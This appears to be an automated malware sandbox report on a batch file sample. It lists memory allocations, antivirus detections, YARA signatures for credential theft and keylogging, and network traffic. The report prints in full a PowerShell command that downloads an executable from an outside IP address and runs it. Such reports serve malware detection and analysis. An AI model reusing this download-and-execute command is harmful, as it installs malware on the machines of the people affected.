NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2024, 4:52 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"
cmdline	cmd.exe /c echo powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

ALYac	Dropped:Generic.BAT.Downloader.J.D5EF3A75
VIPRE	Dropped:Generic.BAT.Downloader.J.D5EF3A75
Arcabit	Generic.BAT.Downloader.J.D5EF3A75
BitDefender	Dropped:Generic.BAT.Downloader.J.D5EF3A75
MicroWorld-eScan	Dropped:Generic.BAT.Downloader.J.D5EF3A75
Emsisoft	Dropped:Generic.BAT.Downloader.J.D5EF3A75 (B)
FireEye	Dropped:Generic.BAT.Downloader.J.D5EF3A75
GData	Dropped:Generic.BAT.Downloader.J.D5EF3A75
MAX	malware (ai score=84)

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 6, 2024, 4:52 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (4 events)

Data received	HTTP/1.1 404 Not Found Content-Type: text/html Accept-Ranges: bytes Server: HFS 2.3m Set-Cookie: HFS_SID_=0.856029702816159; path=/; HttpOnly
Data received	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <style type="text/css"> body { font-family:tahoma, verdana, arial, helvetica, sans; font-weight:normal; font-size:9pt; background-color:#eef; } html, body { padding:0; border:0; height:100%; } html, body, p, form { margin:0 } a { text-decoration:none; color:#47c; border:1px solid transparent; padding:0 0.1em; } a:visited { color:#55F; } a:hover { background-color:#fff; border-color:#47c; } img { border-style:none } fieldset { margin-bottom:0.7em; text-align:left; padding:0.6em; } #panel { float:left; margin-top:1em; margin-left:1em; max-width:250px; } #panel hr { width:80%; margin:1em auto; } #files_outer { height:100%; overflow:auto; text-align:left; padding:0 1.6em; } #files { background:#ddf; border:0; } #files tr { background:#fff; } #files tr.even { background:#eef; } #files tr.selected { background:#bcf; } #files td { padding:0.2e
Data received	m 0.5em; text-align:right; } #files tr td:first-child { text-align:left; } #files th { padding:0.5em 1em; background:#47c; text-align:center; } #files th a { color:white; font-size:130%; } #files th a:hover { background:transparent; border-color:#fff; color:#fff; font-size:130%; } #files td:first-child { text-align:left; } #files td.nosize { text-align:center; font-style:italic; } #files .selector { display:none; } #actions button { margin:0.2em; } #breadcrumbs { margin-top:1em; padding-left:0.5em; } #breadcrumbs a { padding:0.15em 0; border-width:2px; display:block; word-break:break-all; } #folder-stats, #foldercomment { margin-top:1em; padding-top:0.5em; border-top:1px solid #666; } #folder-stats { color:#666; text-align:center; } #msgs { display:none; } #msgs li:first-child { font-weight:bold; } #pages span { padding-left:0.5em; padding-right:0.5em; cursor:pointer; } #pages button { font-size:smaller; } .selectedPage { font-weight:bold; font-size:larger; } .hidden { display:none; }
Data received	</style> </head> <body> <h1>Not found</h1> <a href="/">go to root</a> <hr> <div style="font-family:tahoma, verdana, arial, helvetica, sans; font-size:8pt;"> <a href="http://www.rejetto.com/hfs/">HttpFileServer 2.3m</a> <br>2024-5-6 15:54:13 </div> </body> </html>

Poweshell is sending data to a remote host (1 event)

Data sent

GET /trays.exe HTTP/1.1 Host: 103.138.12.36 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 6, 2024, 4:52 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

Communicates with host for which no DNS query was performed (1 event)

host

103.138.12.36

Deletes executed files from disk (1 event)

file	C:\trays.exe

Drops a binary and executes it (1 event)

file	C:\trays.exe

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send May 6, 2024, 4:52 p.m.	buffer: GET /trays.exe HTTP/1.1 Host: 103.138.12.36 Connection: Keep-Alive socket: 1420 sent: 72	1	72	0

Creates a slightly modified copy of itself (1 event)

description

Possibly a polymorphic version of itself

file

{u'yara': [], u'sha1': u'02b222c6491e03195bc542c55e584f0576d80933', u'name': u'7df312bdd2da0311_Http.txt', u'filepath': u'C:\\Http.txt', u'sha512': u'5a055783e14141cd8960d6905c4d5868c0de5cc3e72ff97af218747d235f7f48c16c0c4f3e695c58a9eb3d1060ce4933a218316dc8eb98cee090fc3b77ef9a4e', u'urls': [u'http://103.138.12.36/trays.exe'], u'crc32': u'0F82ADE3', u'path': u'/home/cuckoo/.cuckoo/storage/analyses/49611/files/7df312bdd2da0311_Http.txt', u'ssdeep': u'3:VSJJFI9IrFtLAoqrWXLhzVv+mtMPJOwKxEcMANwABn9mn6AsFoi4X6AsFoiERnVG:s8qb0OzV7CZFkE1i4liEEiEZn', u'sha256': u'7df312bdd2da0311ece0d45cad8ecf7fd781c6fed560bd5a83865fe5c74fb725', u'type': u'ASCII text, with CRLF line terminators', u'pids': [], u'md5': u'22096d49ded7e1d3bb1f41e0a2b244e9', u'size': 213}

Creates a suspicious Powershell process (2 events)

value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line

The process powershell.exe wrote an executable file to disk (21 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\trays.exe

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 events)

dead_host	192.168.56.103:49266
dead_host	192.168.56.101:22

1.bat

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All